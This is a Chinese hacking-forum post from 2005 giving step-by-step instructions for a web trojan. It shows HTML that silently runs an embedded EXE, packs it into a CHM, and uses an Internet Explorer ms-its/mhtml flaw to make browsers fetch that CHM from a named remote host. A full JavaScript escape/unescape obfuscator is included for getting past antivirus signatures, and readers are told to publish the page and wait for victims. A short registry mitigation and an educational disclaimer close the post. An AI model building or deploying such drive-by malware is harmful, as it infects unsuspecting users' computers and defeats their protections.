论坛: 黑客进阶 标题: 打造终极网页木马 复制本贴地址    
作者: hongliubo1 [hongliubo1]    论坛用户   登录
第一步:写一个能够自动运行EXE文件的网页,文件内容很简单,如下:

<BODY onmouseup=document.selection.empty() oncontextmenu="return false" onselectstart="return false" ondragstart="return false" onbeforecopy="return false" oncopy=document.selection.empty() onselect=document.selection.empty()>
<OBJECT id=RUNIT codeBase=IEPack.exe type=application/x-oleobject height=0 width=0 OBJECT>


Body标签内进行了一些访问控制,屏蔽了鼠标进行选择、屏蔽鼠标右键、屏蔽鼠标的拖拽操作、防止Copy等等。第二个标签是负载EXE的代码,通过OBJECT标签负载一个二进制文件,注意这里的type类型为"application/x-oleobject",上面的代码在object中加入了一个名为"IEPack.exe"的执行文件,如果这时直接打开此html,你就会发现EXE文件也神奇的运行起来了,聪明的你是不是已经看出来点什么了?

第二步:将上面的的代码存成文件,暂定为"chm.html",并且把object标签内设定的EXE文件和网页放在同一个目录。不要以为这样就能运行了,IE不会主动下载服务器上的执行文件的。当然办法是有的,随便找个CHM制作工具,将这个页面和EXE文件一并打入CHM后打开CHM文件你就发现EXE也是同样的运行起来了。在这里我推荐用EasyCHM,很好用的。下载地址??~!@#$%^自己用狗狗搜去吧。

第三步:这一步最关键,这也是利用漏洞之所在!

再建立一个htm文件mm.htm,写入以下代码:

<BODY onmouseup=document.selection.empty() oncontextmenu="return false" onselectstart="return false" ondragstart="return false" onbeforecopy="return false" oncopy=document.selection.empty() onselect=document.selection.empty()>
<TEXTAREA id=code style="DISPLAY: none">
<object data="ms-its:mhtml:file://c:\foo.mht!${path}/help.chm::/chm.html" type="text/x-scriptlet"></object>
</TEXTAREA>
<SCRIPT language=javascript>
document.write(code.value.replace(/\${path}/g,location.href.substring(0,location.href.indexOf('chm.html'))));
</SCRIPT>
<OBJECT type="text/x-scriptlet" data="ms-its:mhtml:file://c:\foo.mht!http://duduwolf.winzheng.com/public/IEpack/help.chm::/chm.html"></OBJECT>



呵呵,如果觉得看起来乱七八糟的话建议将以上代码copy到htm编辑器中查看,就容易的多了,代码中第一个标签body和前面一个一样。第二个为textarea标签,请注意里面包含了一个object标签,这个标签就用到了IE的ms-its漏洞,data的值是一串带ms-its协议的文件路径,其中的${path}只是为了掩人耳目罢了,紧接着看第三个标签,是一段javascript脚本,脚本的内容就是把textarea里的值(即那段<object .....></object>)进行字符替换,要替换的内容就是${path}前面的所有字符,大家要奇怪,这里为什么要替换呢,好好的直接写进去难道不行吗?当然不行!!
    因为IE在下在此页面后,谁都不知道它把这个页面的本地临时文件放到那个位置,你不知道位置,当然无法run chm里面的那个EXE了,所以用代码里用location.href.substring(0,location.href.indexOf('chm.html'))得到了本地临时页面的全路径。location.href返回的就是当前页面的全路径文件名,然后用substring一选就很轻松得到路径了,再用replace替换,轻轻松松就得到chm文件的全路径名了。哦,这里忘了说,这个IE漏洞的关键就是客户端(IE)会自动下载服务器上的chm文件(抱歉,怎么把最关键的技术给忘了 汗。。。)。
    最后一个标签还是一个object,这个标签的作用就是显示chm里包含的那个htm文件,也就是第一、二步制作的那个chm.html文件。至于代码中两次出现的"ms-its:mhtml:file://c:\foo.mht!",这是ms-its的特定格式,具体什么意思我还没研究呢,等我知道了在告诉你:)

第四步:哈哈,你的最新潮的网页木马大终告成了,不过不要高兴得太早,根据今天我测试的结果,诺顿、赛门铁克、咖啡、瑞星(其他的杀毒没装,不知道)等都能成功截杀该网页木马了,你也不要丧气,我既然写了这篇文章就一定有解决办法的。杀毒软件查杀一个病毒的原理很简单,就是以二进制或者文本方式(脚本病毒)打开此文件,查找特定的病毒特征代码,在这里我估计大多数杀毒软件是查找"ms-its:mhtml:file://c:\foo.mht!"这行相关的,具体我没有再作测试,所以咱们在源代码中尽量避开此串代码就可以躲开杀毒软件的耳目了。躲开的方法很多,我用的是javascript脚本的字符串加密。加密函数是javascript自带的,加密用escape(src),解密用unescape(src),这两个函数执行后返回的就是加/解密后的字符串,在这里我给大家一个现成的,将以下代码copy入一个htm文件用IE打开,剩下的不用我说,地球人都会用!将你精心设计的这个网页发布到网上,然后就等着倒霉蛋中标吧(是不是太黑了?有点心狠手辣?不至于吧?没听乌鸦都说自己是黑客嘛。。。)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>网页代码加密解密器</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK
href="http://a0759.nease.net/images/css.css" type=text/css rel=stylesheet>
<SCRIPT language=javascript>
<!--
var i=0;
var ie=(document.all)?1:0;
var ns=(document.layers)?1:0;

function initStyleElements() /* Styles for Buttons Init */
{
var c = document.pad;
if (ie)
{
//c.text.style.backgroundColor="#DDDDDD";
c.compileIt.style.backgroundColor="#C0C0A8";
c.compileIt.style.cursor="hand";
c.select.style.backgroundColor="#C0C0A8";
c.select.style.cursor="hand";
c.view.style.backgroundColor="#C0C0A8";
c.view.style.cursor="hand";
c.retur.style.backgroundColor="#C0C0A8";
c.retur.style.cursor="hand";
c.clear.style.backgroundColor="#C0C0A8";
c.clear.style.cursor="hand";
}
else return;
}

/* Buttons Enlightment of "Compilation" panel */
function LightOn(what)
{
if (ie) what.style.backgroundColor = '#E0E0D0';
else return;
}
function FocusOn(what)
{
if (ie) what.style.backgroundColor = '#EBEBEB';
else return;
}
function LightOut(what)
{
if (ie) what.style.backgroundColor = '#C0C0A8';
else return;
}
function FocusOff(what)
{
if (ie) what.style.backgroundColor = '#DDDDDD';
else return;
}
/* Buttons Enlightment of "Compilation" panel */

function generate() /* Generation of "Compilation" */
{
code = document.pad.text.value;
if (code)
{
document.pad.text.value='正在生成加密代码,请稍后!';
setTimeout("compile()",1000);
}
else alert('请输入源文件代码')
}
function compile() /* The "Compilation" */
{
document.pad.text.value='';
compilation=escape(code);
document.pad.text.value="<script>\n<!--\ndocument.write(unescape(\""+compilation+"\"));\n//-->\n<\/script>";
i++;
alert("页面被加密了 "+i+" 次!");
}
function selectCode() /* Selecting "Compilation" for Copying */
{
if(document.pad.text.value.length>0)
{
document.pad.text.focus();
document.pad.text.select();
}
else alert('没有可以选择的文本内容!')
}
function preview() /* Preview for the "Compilation" */
{
if(document.pad.text.value.length>0)
{
pr=window.open("","Preview","scrollbars=1,menubar=1,status=1,width=700,height=320,left=50,top=110");
pr.document.write(document.pad.text.value);
}
else alert('没有可以预浏览的文本内容!')
}
function uncompile() /* Decompiling a "Compilation" */
{
if (document.pad.text.value.length>0)
{
source=unescape(document.pad.text.value);
document.pad.text.value=""+source+"";
}
else alert('你需要生成被加密的代码后才能取回源代码!')
}
// -->
</SCRIPT>

<SCRIPT language=javascript type=text/javascript>
<!--
function MM_swapImgRestore() { //v3.0
var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</SCRIPT>

<META content="MSHTML 6.00.2800.1106" name=GENERATOR></HEAD>
<BODY text=#000000 bgColor=#ffffff
onload="MM_preloadImages('../../images/Close.gif')">
<TABLE cellSpacing=0 cellPadding=0 width=500 align=center border=0>
<TBODY>
<TR>
<TH>网页代码加密解密器</TH></TR>
<TR>
<TD>
<HR width="95%" noShade SIZE=1>
</TD></TR>
<TR>
<TD>
<FORM name=pad method=post align="center"><TEXTAREA class=v9pt style="WIDTH: 100%; BACKGROUND-COLOR: #ebebeb" name=text rows=15 cols=100></TEXTAREA>
<BR><INPUT onmouseover=LightOn(this) onclick=generate() onmouseout=LightOut(this) type=button value=加密代码 name=compileIt>
<INPUT onmouseover=LightOn(this) onclick=selectCode() onmouseout=LightOut(this) type=button value=全选代码 name=select>
<INPUT onmouseover=LightOn(this) onclick=preview() onmouseout=LightOut(this) type=button value=预浏览页面 name=view>
<INPUT onmouseover=LightOn(this) onclick=uncompile() onmouseout=LightOut(this) type=button value=原代码 name=retur>
<INPUT onmouseover=LightOn(this) onmouseout=LightOut(this) type=reset value=清空 name=clear>
</FORM></TD></TR>
<TR>
<TD align=middle><A
onmouseover="MM_swapImage('Image2','','../../images/Close.gif',1)"
onmouseout=MM_swapImgRestore() href="javascript:window.close()"><IMG
height=18 src="/2004/Article/UploadFiles/200409/20040907205637755.gif" width=52
border=0 name=Image2></A></TD></TR></TBODY></TABLE></BODY></HTML>




忘了说明一下,以上代码也是我从网上扒下来的,作者忘了,在这里感谢作者给大家提供一个这么好用的工具!!还有一点需要说明就是加密次数不受限制的,点击一次加密一次,再点再加密,不嫌麻烦你就多点几次,不过这会影响页面解析速度的,页面解析时是一层一层进行解密,加几次就要解几次的。我在测试程序里加密三次,相信加密后地球人都看不懂的:)

打补丁:目前微软还没有提供彻底的解决办法,为了安全,我建议大家进行手动修改注册表屏蔽此漏洞,方法是:
打开注册表,转入HKEY_CLASSES_ROOT\PROTOCOLS\Handle主键下,重命名ms-its键就行了,比如改为:ms-its.bak,如果你在浏览此页面时正如文章开头所说弹出了一个窗体,直接点击那个按钮也可以达到相同的作用。

后记:写这篇文章的目的也就是让大家认识一下那个传中恐怖的网页木马到底是怎么诞生的,什么东西都是人编出来的,这个木马也是我在中毒后用工具一层一层拨开后源代码,细细研究后的成果。最后我给大家推荐几个工具,对于分析网页很有好处。第一个是MyIE2,他的浏览器还能说得过去,让我称赞的是我安装了一个第三方的插件:ViewPage,这个插件很了不起,能快速显示当前页面的页面属性、图像资源、网页源码、Flash、链接列表、CSS、Script等等。有了这个工具你就可以快速知道人家的网页时怎么“炼”成的。第二个要推荐的就是EditPlus文本编辑器,太好用了,真的太好用了。。。。。第三个就是CSDN.BCB版的版主AWeay写的"MySpy"软件,就是用他我才查看到了chm文件的源代码:),推荐的这几款工具大家如果要用的话用狗狗搜吧。



地主 发表时间: 05-01-21 22:06

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号